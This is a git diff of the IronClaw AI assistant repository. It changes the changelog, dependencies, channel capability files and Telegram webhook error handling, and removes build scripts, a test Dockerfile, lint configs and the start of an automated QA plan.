- pre-validate Cloudflare tunnel token by spawning cloudflared ([#446](https://github.com/nearai/ironclaw/pull/446))
|
|
||||||
- batch of quick fixes (#417, #338, #330, #358, #419, #344) ([#428](https://github.com/nearai/ironclaw/pull/428))
|
|
||||||
- persist channel activation state across restarts ([#432](https://github.com/nearai/ironclaw/pull/432))
|
|
||||||
- init WASM runtime eagerly regardless of tools directory existence ([#401](https://github.com/nearai/ironclaw/pull/401))
|
|
||||||
- add TLS support for PostgreSQL connections ([#363](https://github.com/nearai/ironclaw/pull/363)) ([#427](https://github.com/nearai/ironclaw/pull/427))
|
|
||||||
- scan inbound messages for leaked secrets ([#433](https://github.com/nearai/ironclaw/pull/433))
|
|
||||||
- use tailscale funnel --bg for proper tunnel setup ([#430](https://github.com/nearai/ironclaw/pull/430))
|
|
||||||
- normalize secret names to lowercase for case-insensitive matching ([#413](https://github.com/nearai/ironclaw/pull/413)) ([#431](https://github.com/nearai/ironclaw/pull/431))
|
|
||||||
- persist model name to .env so dotted names survive restart ([#426](https://github.com/nearai/ironclaw/pull/426))
|
|
||||||
- *(setup)* check cloudflared binary and validate tunnel token ([#424](https://github.com/nearai/ironclaw/pull/424))
|
|
||||||
- *(setup)* validate PostgreSQL version and pgvector availability before migrations ([#423](https://github.com/nearai/ironclaw/pull/423))
|
|
||||||
- guard zsh compdef call to prevent error before compinit ([#422](https://github.com/nearai/ironclaw/pull/422))
|
|
||||||
- *(telegram)* remove restart button, validate token on setup ([#434](https://github.com/nearai/ironclaw/pull/434))
|
|
||||||
- web UI routines tab shows all routines regardless of creating channel ([#391](https://github.com/nearai/ironclaw/pull/391))
|
|
||||||
- Discord Ed25519 signature verification and capabilities header alias ([#148](https://github.com/nearai/ironclaw/pull/148)) ([#372](https://github.com/nearai/ironclaw/pull/372))
|
|
||||||
- prevent duplicate WASM channel activation on startup ([#390](https://github.com/nearai/ironclaw/pull/390))
|
|
||||||
|
|
||||||
### Other
|
|
||||||
|
|
||||||
- rename WasmBuildable::repo_url to source_dir ([#445](https://github.com/nearai/ironclaw/pull/445))
|
|
||||||
- Improve --help: add detailed about/examples/color, snapshot test (clo… ([#371](https://github.com/nearai/ironclaw/pull/371))
|
|
||||||
- Add automated QA: schema validator, CI matrix, Docker build, and P1 test coverage ([#353](https://github.com/nearai/ironclaw/pull/353))
|
|
||||||
|
|
||||||
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
|
## [0.12.0](https://github.com/nearai/ironclaw/compare/v0.11.1...v0.12.0) - 2026-02-26
|
||||||
|
|
||||||
### Added
|
### Added
|
||||||
|
|||||||
@@ -321,8 +321,6 @@ cargo check --all-features # all features
|
|||||||
```
|
```
|
||||||
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
|
Dead code behind the wrong `#[cfg]` gate will only show up when building with a single feature.
|
||||||
|
|
||||||
**Regression test with every fix:** Every bug fix must include a test that would have caught the bug. Add a `#[test]` or `#[tokio::test]` that reproduces the original failure. Exempt: changes limited to `src/channels/web/static/` or `.md` files. Use `[skip-regression-check]` in commit message or PR label if genuinely not feasible. The `commit-msg` hook and CI workflow enforce this automatically.
|
|
||||||
|
|
||||||
**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate.
|
**Zero clippy warnings policy:** Fix ALL clippy warnings before committing, including pre-existing ones in files you didn't change. Never leave warnings behind — treat `cargo clippy` output as a zero-tolerance gate.
|
||||||
|
|
||||||
**Mechanical verification before committing:** Run these checks on changed files before committing:
|
**Mechanical verification before committing:** Run these checks on changed files before committing:
|
||||||
@@ -330,7 +328,6 @@ Dead code behind the wrong `#[cfg]` gate will only show up when building with a
|
|||||||
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
|
- `grep -rnE '\.unwrap\(|\.expect\(' <files>` -- no panics in production
|
||||||
- `grep -rn 'super::' <files>` -- use `crate::` imports
|
- `grep -rn 'super::' <files>` -- use `crate::` imports
|
||||||
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
|
- If you fixed a pattern bug, `grep` for other instances of that pattern across `src/`
|
||||||
- Fix commits must include regression tests (enforced by `commit-msg` hook; bypass with `[skip-regression-check]`)
|
|
||||||
|
|
||||||
## Configuration
|
## Configuration
|
||||||
|
|
||||||
|
|||||||
Generated
+143
-368
File diff suppressed because it is too large
Load Diff
+2
-10
@@ -12,13 +12,14 @@ exclude = [
|
|||||||
"tools-src/google-drive",
|
"tools-src/google-drive",
|
||||||
"tools-src/google-sheets",
|
"tools-src/google-sheets",
|
||||||
"tools-src/google-slides",
|
"tools-src/google-slides",
|
||||||
|
"tools-src/okta",
|
||||||
"tools-src/slack",
|
"tools-src/slack",
|
||||||
"tools-src/telegram",
|
"tools-src/telegram",
|
||||||
]
|
]
|
||||||
|
|
||||||
[package]
|
[package]
|
||||||
name = "ironclaw"
|
name = "ironclaw"
|
||||||
version = "0.15.0"
|
version = "0.12.0"
|
||||||
edition = "2024"
|
edition = "2024"
|
||||||
rust-version = "1.92"
|
rust-version = "1.92"
|
||||||
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
|
description = "Secure personal AI assistant that protects your data and expands its capabilities on the fly"
|
||||||
@@ -51,9 +52,6 @@ deadpool-postgres = { version = "0.14", optional = true }
|
|||||||
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
|
tokio-postgres = { version = "0.7", features = ["with-uuid-1", "with-chrono-0_4", "with-serde_json-1"], optional = true }
|
||||||
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
|
postgres-types = { version = "0.2", features = ["with-serde_json-1"], optional = true }
|
||||||
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
|
refinery = { version = "0.8", features = ["tokio-postgres"], optional = true }
|
||||||
tokio-postgres-rustls = { version = "0.13", optional = true }
|
|
||||||
rustls = { version = "0.23", optional = true, default-features = false }
|
|
||||||
rustls-native-certs = { version = "0.8", optional = true }
|
|
||||||
|
|
||||||
# Database - libSQL/Turso (optional embedded database)
|
# Database - libSQL/Turso (optional embedded database)
|
||||||
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
|
libsql = { version = "0.6", optional = true, default-features = false, features = ["core", "replication"] }
|
||||||
@@ -156,8 +154,6 @@ lru = "0.16.3"
|
|||||||
# HTML to Markdown conversion (feature gated)
|
# HTML to Markdown conversion (feature gated)
|
||||||
html-to-markdown-rs = { version = "2.3", optional = true }
|
html-to-markdown-rs = { version = "2.3", optional = true }
|
||||||
readabilityrs = { version = "0.1.2", optional = true }
|
readabilityrs = { version = "0.1.2", optional = true }
|
||||||
ed25519-dalek = { version = "2.2.0", features = ["std"] }
|
|
||||||
hex = "0.4.3"
|
|
||||||
|
|
||||||
# macOS keychain
|
# macOS keychain
|
||||||
[target.'cfg(target_os = "macos")'.dependencies]
|
[target.'cfg(target_os = "macos")'.dependencies]
|
||||||
@@ -174,16 +170,12 @@ tokio-tungstenite = "0.26"
|
|||||||
testcontainers-modules = { version = "0.11", features = ["postgres"] }
|
testcontainers-modules = { version = "0.11", features = ["postgres"] }
|
||||||
pretty_assertions = "1"
|
pretty_assertions = "1"
|
||||||
tempfile = "3"
|
tempfile = "3"
|
||||||
insta = "1.46.3"
|
|
||||||
|
|
||||||
[features]
|
[features]
|
||||||
default = ["postgres", "libsql", "html-to-markdown"]
|
default = ["postgres", "libsql", "html-to-markdown"]
|
||||||
postgres = [
|
postgres = [
|
||||||
"dep:deadpool-postgres",
|
"dep:deadpool-postgres",
|
||||||
"dep:tokio-postgres",
|
"dep:tokio-postgres",
|
||||||
"dep:tokio-postgres-rustls",
|
|
||||||
"dep:rustls",
|
|
||||||
"dep:rustls-native-certs",
|
|
||||||
"dep:postgres-types",
|
"dep:postgres-types",
|
||||||
"dep:refinery",
|
"dep:refinery",
|
||||||
"dep:pgvector",
|
"dep:pgvector",
|
||||||
|
|||||||
@@ -1,57 +0,0 @@
|
|||||||
# Lightweight test Dockerfile for IronClaw web gateway testing.
|
|
||||||
#
|
|
||||||
# Build:
|
|
||||||
# docker build --platform linux/amd64 -f Dockerfile.test -t ironclaw-test .
|
|
||||||
#
|
|
||||||
# Run (each on a different port):
|
|
||||||
# docker run --rm -p 3003:3003 ironclaw-test
|
|
||||||
# docker run --rm -p 3004:3003 ironclaw-test
|
|
||||||
# docker run --rm -p 3005:3003 ironclaw-test
|
|
||||||
|
|
||||||
# Stage 1: Build (libsql only — no PostgreSQL dependency)
|
|
||||||
FROM rust:1.92-slim-bookworm AS builder
|
|
||||||
|
|
||||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
||||||
pkg-config libssl-dev cmake gcc g++ \
|
|
||||||
&& rm -rf /var/lib/apt/lists/* \
|
|
||||||
&& rustup target add wasm32-wasip2 \
|
|
||||||
&& cargo install wasm-tools
|
|
||||||
|
|
||||||
WORKDIR /app
|
|
||||||
|
|
||||||
COPY Cargo.toml Cargo.lock ./
|
|
||||||
COPY build.rs build.rs
|
|
||||||
COPY src/ src/
|
|
||||||
COPY tests/ tests/
|
|
||||||
COPY migrations/ migrations/
|
|
||||||
COPY registry/ registry/
|
|
||||||
COPY channels-src/ channels-src/
|
|
||||||
COPY wit/ wit/
|
|
||||||
|
|
||||||
RUN cargo build --release --no-default-features --features libsql --bin ironclaw
|
|
||||||
|
|
||||||
# Stage 2: Runtime
|
|
||||||
FROM debian:bookworm-slim
|
|
||||||
|
|
||||||
RUN apt-get update && apt-get install -y --no-install-recommends \
|
|
||||||
ca-certificates libssl3 \
|
|
||||||
&& rm -rf /var/lib/apt/lists/*
|
|
||||||
|
|
||||||
COPY --from=builder /app/target/release/ironclaw /usr/local/bin/ironclaw
|
|
||||||
|
|
||||||
RUN useradd -m -u 1000 -s /bin/bash ironclaw
|
|
||||||
USER ironclaw
|
|
||||||
WORKDIR /home/ironclaw
|
|
||||||
|
|
||||||
EXPOSE 3003
|
|
||||||
|
|
||||||
ENV RUST_LOG=ironclaw=info \
|
|
||||||
GATEWAY_ENABLED=true \
|
|
||||||
GATEWAY_HOST=0.0.0.0 \
|
|
||||||
GATEWAY_PORT=3003 \
|
|
||||||
GATEWAY_AUTH_TOKEN=test \
|
|
||||||
DATABASE_BACKEND=libsql \
|
|
||||||
LIBSQL_PATH=/home/ironclaw/test.db \
|
|
||||||
SANDBOX_ENABLED=false
|
|
||||||
|
|
||||||
ENTRYPOINT ["ironclaw", "--no-onboard"]
|
|
||||||
@@ -1,48 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
# Build the Discord channel WASM component
|
|
||||||
#
|
|
||||||
# Prerequisites:
|
|
||||||
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
|
|
||||||
# - wasm-tools for component creation: cargo install wasm-tools
|
|
||||||
#
|
|
||||||
# Output:
|
|
||||||
# - discord.wasm - WASM component ready for deployment
|
|
||||||
# - discord.capabilities.json - Capabilities file (copy alongside .wasm)
|
|
||||||
|
|
||||||
set -euo pipefail
|
|
||||||
|
|
||||||
cd "$(dirname "$0")"
|
|
||||||
|
|
||||||
if ! command -v wasm-tools &> /dev/null; then
|
|
||||||
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Building Discord channel WASM component..."
|
|
||||||
|
|
||||||
# Build the WASM module
|
|
||||||
cargo build --release --target wasm32-wasip2
|
|
||||||
|
|
||||||
# Convert to component model (if not already a component)
|
|
||||||
# wasm-tools component new is idempotent on components
|
|
||||||
WASM_PATH="target/wasm32-wasip2/release/discord_channel.wasm"
|
|
||||||
|
|
||||||
if [ -f "$WASM_PATH" ]; then
|
|
||||||
# Create component if needed
|
|
||||||
wasm-tools component new "$WASM_PATH" -o discord.wasm 2>/dev/null || cp "$WASM_PATH" discord.wasm
|
|
||||||
|
|
||||||
# Optimize the component
|
|
||||||
wasm-tools strip discord.wasm -o discord.wasm
|
|
||||||
|
|
||||||
echo "Built: discord.wasm ($(du -h discord.wasm | cut -f1))"
|
|
||||||
echo ""
|
|
||||||
echo "To install:"
|
|
||||||
echo " mkdir -p ~/.ironclaw/channels"
|
|
||||||
echo " cp discord.wasm discord.capabilities.json ~/.ironclaw/channels/"
|
|
||||||
echo ""
|
|
||||||
echo "Then add your bot token to secrets:"
|
|
||||||
echo " # Set discord_bot_token and discord_public_key in your environment or secrets store"
|
|
||||||
else
|
|
||||||
echo "Error: WASM output not found at $WASM_PATH"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
@@ -6,16 +6,10 @@
|
|||||||
"required_secrets": [
|
"required_secrets": [
|
||||||
{
|
{
|
||||||
"name": "discord_bot_token",
|
"name": "discord_bot_token",
|
||||||
"prompt": "Enter your Discord Bot Token. Find it under Bot > Token in your Discord Application settings.",
|
"prompt": "Enter your Discord Bot Token (from Developer Portal)",
|
||||||
"optional": false
|
|
||||||
},
|
|
||||||
{
|
|
||||||
"name": "discord_public_key",
|
|
||||||
"prompt": "Enter your Discord Application Public Key (found under General Information in your Discord Application settings).",
|
|
||||||
"optional": false
|
"optional": false
|
||||||
}
|
}
|
||||||
],
|
]
|
||||||
"setup_url": "https://discord.com/developers/applications"
|
|
||||||
},
|
},
|
||||||
"capabilities": {
|
"capabilities": {
|
||||||
"http": {
|
"http": {
|
||||||
@@ -45,9 +39,6 @@
|
|||||||
"emit_rate_limit": {
|
"emit_rate_limit": {
|
||||||
"messages_per_minute": 100,
|
"messages_per_minute": 100,
|
||||||
"messages_per_hour": 5000
|
"messages_per_hour": 5000
|
||||||
},
|
|
||||||
"webhook": {
|
|
||||||
"signature_key_secret_name": "discord_public_key"
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -6,16 +6,15 @@
|
|||||||
"required_secrets": [
|
"required_secrets": [
|
||||||
{
|
{
|
||||||
"name": "slack_bot_token",
|
"name": "slack_bot_token",
|
||||||
"prompt": "Enter your Slack Bot User OAuth Token (starts with xoxb-). Find it under OAuth & Permissions in your Slack App settings.",
|
"prompt": "Enter your Slack Bot OAuth Token (xoxb-...)",
|
||||||
"optional": false
|
"optional": false
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
"name": "slack_signing_secret",
|
"name": "slack_signing_secret",
|
||||||
"prompt": "Enter your Slack App Signing Secret (found under Basic Information > App Credentials in your Slack App settings).",
|
"prompt": "Enter your Slack Signing Secret (from App Credentials)",
|
||||||
"optional": false
|
"optional": false
|
||||||
}
|
}
|
||||||
],
|
]
|
||||||
"setup_url": "https://api.slack.com/apps"
|
|
||||||
},
|
},
|
||||||
"capabilities": {
|
"capabilities": {
|
||||||
"http": {
|
"http": {
|
||||||
|
|||||||
@@ -373,19 +373,19 @@ impl Guest for TelegramChannel {
|
|||||||
"Webhook mode enabled (tunnel configured)",
|
"Webhook mode enabled (tunnel configured)",
|
||||||
);
|
);
|
||||||
|
|
||||||
// Register webhook with Telegram API — propagate errors so a bad token
|
// Register webhook with Telegram API
|
||||||
// causes activation to fail rather than silently succeeding.
|
|
||||||
if let Some(ref tunnel_url) = config.tunnel_url {
|
if let Some(ref tunnel_url) = config.tunnel_url {
|
||||||
// Clear any stale webhook first to avoid 409 Conflict
|
|
||||||
let _ = delete_webhook();
|
|
||||||
|
|
||||||
channel_host::log(
|
channel_host::log(
|
||||||
channel_host::LogLevel::Info,
|
channel_host::LogLevel::Info,
|
||||||
&format!("Registering webhook: {}/webhook/telegram", tunnel_url),
|
&format!("Registering webhook: {}/webhook/telegram", tunnel_url),
|
||||||
);
|
);
|
||||||
|
|
||||||
register_webhook(tunnel_url, config.webhook_secret.as_deref())
|
if let Err(e) = register_webhook(tunnel_url, config.webhook_secret.as_deref()) {
|
||||||
.map_err(|e| format!("Failed to register webhook: {}", e))?;
|
channel_host::log(
|
||||||
|
channel_host::LogLevel::Error,
|
||||||
|
&format!("Failed to register webhook: {}", e),
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
} else {
|
} else {
|
||||||
channel_host::log(
|
channel_host::log(
|
||||||
@@ -393,10 +393,14 @@ impl Guest for TelegramChannel {
|
|||||||
"Polling mode enabled (no tunnel configured)",
|
"Polling mode enabled (no tunnel configured)",
|
||||||
);
|
);
|
||||||
|
|
||||||
// Delete any existing webhook before polling. Telegram returns success
|
// Delete any existing webhook before polling
|
||||||
// when no webhook exists, so any error here (e.g. 401) means a bad token.
|
// Telegram doesn't allow getUpdates while a webhook is active
|
||||||
delete_webhook()
|
if let Err(e) = delete_webhook() {
|
||||||
.map_err(|e| format!("Bot token validation failed: {}", e))?;
|
channel_host::log(
|
||||||
|
channel_host::LogLevel::Warn,
|
||||||
|
&format!("Failed to delete webhook (may not exist): {}", e),
|
||||||
|
);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
// Configure polling only if not in webhook mode
|
// Configure polling only if not in webhook mode
|
||||||
@@ -897,61 +901,36 @@ fn register_webhook(tunnel_url: &str, webhook_secret: Option<&str>) -> Result<()
|
|||||||
None,
|
None,
|
||||||
);
|
);
|
||||||
|
|
||||||
let mut response = match result {
|
match result {
|
||||||
Ok(response) => response,
|
Ok(response) => {
|
||||||
Err(e) => return Err(format!("HTTP request failed: {}", e)),
|
if response.status != 200 {
|
||||||
};
|
let body_str = String::from_utf8_lossy(&response.body);
|
||||||
|
return Err(format!("HTTP {}: {}", response.status, body_str));
|
||||||
|
}
|
||||||
|
|
||||||
let mut retried = false;
|
// Parse Telegram API response
|
||||||
if response.status == 409 {
|
let api_response: TelegramApiResponse<serde_json::Value> =
|
||||||
channel_host::log(
|
serde_json::from_slice(&response.body)
|
||||||
channel_host::LogLevel::Warn,
|
.map_err(|e| format!("Failed to parse response: {}", e))?;
|
||||||
"409 Conflict -- deleting existing webhook and retrying",
|
|
||||||
);
|
|
||||||
let _ = delete_webhook();
|
|
||||||
retried = true;
|
|
||||||
|
|
||||||
response = match channel_host::http_request(
|
if !api_response.ok {
|
||||||
"POST",
|
return Err(format!(
|
||||||
"https://api.telegram.org/bot{TELEGRAM_BOT_TOKEN}/setWebhook",
|
"Telegram API error: {}",
|
||||||
&headers.to_string(),
|
api_response
|
||||||
Some(&body_bytes),
|
.description
|
||||||
None,
|
.unwrap_or_else(|| "unknown".to_string())
|
||||||
) {
|
));
|
||||||
Ok(resp) => resp,
|
}
|
||||||
Err(e) => return Err(format!("HTTP request failed (after 409 retry): {}", e)),
|
|
||||||
};
|
channel_host::log(
|
||||||
|
channel_host::LogLevel::Info,
|
||||||
|
&format!("Webhook registered successfully: {}", webhook_url),
|
||||||
|
);
|
||||||
|
|
||||||
|
Ok(())
|
||||||
|
}
|
||||||
|
Err(e) => Err(format!("HTTP request failed: {}", e)),
|
||||||
}
|
}
|
||||||
|
|
||||||
if response.status != 200 {
|
|
||||||
let body_str = String::from_utf8_lossy(&response.body);
|
|
||||||
let context = if retried { " (after 409 retry)" } else { "" };
|
|
||||||
return Err(format!("HTTP {}{}: {}", response.status, context, body_str));
|
|
||||||
}
|
|
||||||
|
|
||||||
// Parse Telegram API response
|
|
||||||
let api_response: TelegramApiResponse<serde_json::Value> =
|
|
||||||
serde_json::from_slice(&response.body)
|
|
||||||
.map_err(|e| format!("Failed to parse response: {}", e))?;
|
|
||||||
|
|
||||||
if !api_response.ok {
|
|
||||||
let context = if retried { " (after 409 retry)" } else { "" };
|
|
||||||
return Err(format!(
|
|
||||||
"Telegram API error{}: {}",
|
|
||||||
context,
|
|
||||||
api_response
|
|
||||||
.description
|
|
||||||
.unwrap_or_else(|| "unknown".to_string())
|
|
||||||
));
|
|
||||||
}
|
|
||||||
|
|
||||||
let context = if retried { " (after retry)" } else { "" };
|
|
||||||
channel_host::log(
|
|
||||||
channel_host::LogLevel::Info,
|
|
||||||
&format!("Webhook registered successfully{}: {}", context, webhook_url),
|
|
||||||
);
|
|
||||||
|
|
||||||
Ok(())
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// ============================================================================
|
// ============================================================================
|
||||||
|
|||||||
@@ -9,8 +9,7 @@
|
|||||||
"prompt": "Enter your Telegram Bot API token (from @BotFather)",
|
"prompt": "Enter your Telegram Bot API token (from @BotFather)",
|
||||||
"optional": false
|
"optional": false
|
||||||
}
|
}
|
||||||
],
|
]
|
||||||
"setup_url": "https://t.me/BotFather"
|
|
||||||
},
|
},
|
||||||
"capabilities": {
|
"capabilities": {
|
||||||
"http": {
|
"http": {
|
||||||
@@ -40,10 +39,6 @@
|
|||||||
"emit_rate_limit": {
|
"emit_rate_limit": {
|
||||||
"messages_per_minute": 100,
|
"messages_per_minute": 100,
|
||||||
"messages_per_hour": 5000
|
"messages_per_hour": 5000
|
||||||
},
|
|
||||||
"webhook": {
|
|
||||||
"secret_header": "X-Telegram-Bot-Api-Secret-Token",
|
|
||||||
"secret_name": "telegram_webhook_secret"
|
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
},
|
},
|
||||||
|
|||||||
@@ -1,48 +0,0 @@
|
|||||||
#!/usr/bin/env bash
|
|
||||||
# Build the WhatsApp channel WASM component
|
|
||||||
#
|
|
||||||
# Prerequisites:
|
|
||||||
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
|
|
||||||
# - wasm-tools for component creation: cargo install wasm-tools
|
|
||||||
#
|
|
||||||
# Output:
|
|
||||||
# - whatsapp.wasm - WASM component ready for deployment
|
|
||||||
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
|
|
||||||
|
|
||||||
set -euo pipefail
|
|
||||||
|
|
||||||
cd "$(dirname "$0")"
|
|
||||||
|
|
||||||
if ! command -v wasm-tools &> /dev/null; then
|
|
||||||
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
|
|
||||||
echo "Building WhatsApp channel WASM component..."
|
|
||||||
|
|
||||||
# Build the WASM module
|
|
||||||
cargo build --release --target wasm32-wasip2
|
|
||||||
|
|
||||||
# Convert to component model (if not already a component)
|
|
||||||
# wasm-tools component new is idempotent on components
|
|
||||||
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
|
|
||||||
|
|
||||||
if [ -f "$WASM_PATH" ]; then
|
|
||||||
# Create component if needed
|
|
||||||
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
|
|
||||||
|
|
||||||
# Optimize the component
|
|
||||||
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
|
|
||||||
|
|
||||||
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
|
|
||||||
echo ""
|
|
||||||
echo "To install:"
|
|
||||||
echo " mkdir -p ~/.ironclaw/channels"
|
|
||||||
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
|
|
||||||
echo ""
|
|
||||||
echo "Then add your access token to secrets:"
|
|
||||||
echo " # Set whatsapp_access_token in your environment or secrets store"
|
|
||||||
else
|
|
||||||
echo "Error: WASM output not found at $WASM_PATH"
|
|
||||||
exit 1
|
|
||||||
fi
|
|
||||||
@@ -6,7 +6,7 @@
|
|||||||
"required_secrets": [
|
"required_secrets": [
|
||||||
{
|
{
|
||||||
"name": "whatsapp_access_token",
|
"name": "whatsapp_access_token",
|
||||||
"prompt": "Enter your WhatsApp Cloud API permanent access token (from the Meta Developer Portal under your app's WhatsApp > API Setup).",
|
"prompt": "Enter your WhatsApp Cloud API access token (from Meta Developer Portal)",
|
||||||
"validation": "^[A-Za-z0-9_-]+$"
|
"validation": "^[A-Za-z0-9_-]+$"
|
||||||
},
|
},
|
||||||
{
|
{
|
||||||
@@ -16,8 +16,7 @@
|
|||||||
"auto_generate": { "length": 32 }
|
"auto_generate": { "length": 32 }
|
||||||
}
|
}
|
||||||
],
|
],
|
||||||
"validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}",
|
"validation_endpoint": "https://graph.facebook.com/v18.0/me?access_token={whatsapp_access_token}"
|
||||||
"setup_url": "https://developers.facebook.com/apps"
|
|
||||||
},
|
},
|
||||||
"capabilities": {
|
"capabilities": {
|
||||||
"http": {
|
"http": {
|
||||||
|
|||||||
@@ -1,8 +0,0 @@
|
|||||||
# Complexity guardrails for AI-assisted development quality.
|
|
||||||
# These thresholds prevent new violations while preserving existing code.
|
|
||||||
# See: https://github.com/nearai/ironclaw/issues/338
|
|
||||||
|
|
||||||
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
|
|
||||||
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
|
|
||||||
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
|
|
||||||
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
|
|
||||||
-10
@@ -1,10 +0,0 @@
|
|||||||
coverage:
|
|
||||||
status:
|
|
||||||
project:
|
|
||||||
default:
|
|
||||||
target: auto
|
|
||||||
threshold: 1%
|
|
||||||
patch:
|
|
||||||
default:
|
|
||||||
target: 80%
|
|
||||||
threshold: 5%
|
|
||||||
@@ -1,908 +0,0 @@
|
|||||||
# Automated QA Plan for IronClaw
|
|
||||||
|
|
||||||
**Date:** 2026-02-24
|
|
||||||
**Status:** Draft
|
|
||||||
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Motivation
|
|
||||||
|
|
||||||
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
|
|
||||||
|
|
||||||
| Category | Examples | Root Cause |
|
|
||||||
|----------|----------|------------|
|
|
||||||
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
|
|
||||||
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
|
|
||||||
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
|
|
||||||
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
|
|
||||||
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
|
|
||||||
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
|
|
||||||
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
|
|
||||||
|
|
||||||
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
|
|
||||||
|
|
||||||
---
|
|
||||||
|
|
||||||
## Tier 1: Schema & Contract Tests
|
|
||||||
|
|
||||||
**Cost:** Low (pure Rust tests, no infrastructure)
|
|
||||||
**Timeline:** Can land incrementally, one PR per sub-task
|
|
||||||
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
|
|
||||||
|
|
||||||
### 1.1 Tool Schema Validator
|
|
||||||
|
|
||||||
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
|
|
||||||
|
|
||||||
- Top-level has `"type": "object"`
|
|
||||||
- Every key in `"required"` exists in `"properties"`
|
|
||||||
- Every property has a `"type"` field
|
|
||||||
- No `additionalProperties` unless explicitly set
|
|
||||||
- Nested objects follow the same rules recursively
|
|
||||||
|
|
||||||
```rust
|
|
||||||
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
|
|
||||||
#[test]
|
|
||||||
fn all_tool_schemas_are_openai_strict_valid() {
|
|
||||||
let registry = ToolRegistry::new();
|
|
||||||
register_all_builtins(&mut registry);
|
|
||||||
for tool in registry.all_tools() {
|
|
||||||
let schema = tool.parameters_schema();
|
|
||||||
validate_strict_schema(&schema, &tool.name())
|
|
||||||
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
|
|
||||||
}
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
|
|
||||||
|
|
||||||
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
|
|
||||||
|
|
||||||
### 1.2 Config Round-Trip Tests
|
|
||||||
|
|
||||||
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
|
|
||||||
|
|
||||||
Cover the specific bugs found:
|
|
||||||
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
|
|
||||||
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
|
|
||||||
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
|
|
||||||
- Session token stored under `nearai.session_token` (not `nearai.session`)
|
|
||||||
|
|
||||||
```rust
|
|
||||||
#[test]
|
|
||||||
fn bootstrap_env_round_trips_llm_backend() {
|
|
||||||
let dir = tempdir().unwrap();
|
|
||||||
let env_path = dir.path().join(".env");
|
|
||||||
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
|
|
||||||
// Simulate restart: load from env file
|
|
||||||
dotenv::from_path(&env_path).unwrap();
|
|
||||||
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
|
|
||||||
}
|
|
||||||
```
|
|
||||||
|
|
||||||
**Files:** New `tests/config_round_trip.rs`
|
|
||||||
|
|
||||||
### 1.3 Feature-Flag CI Matrix
|
|
||||||
|
|
||||||
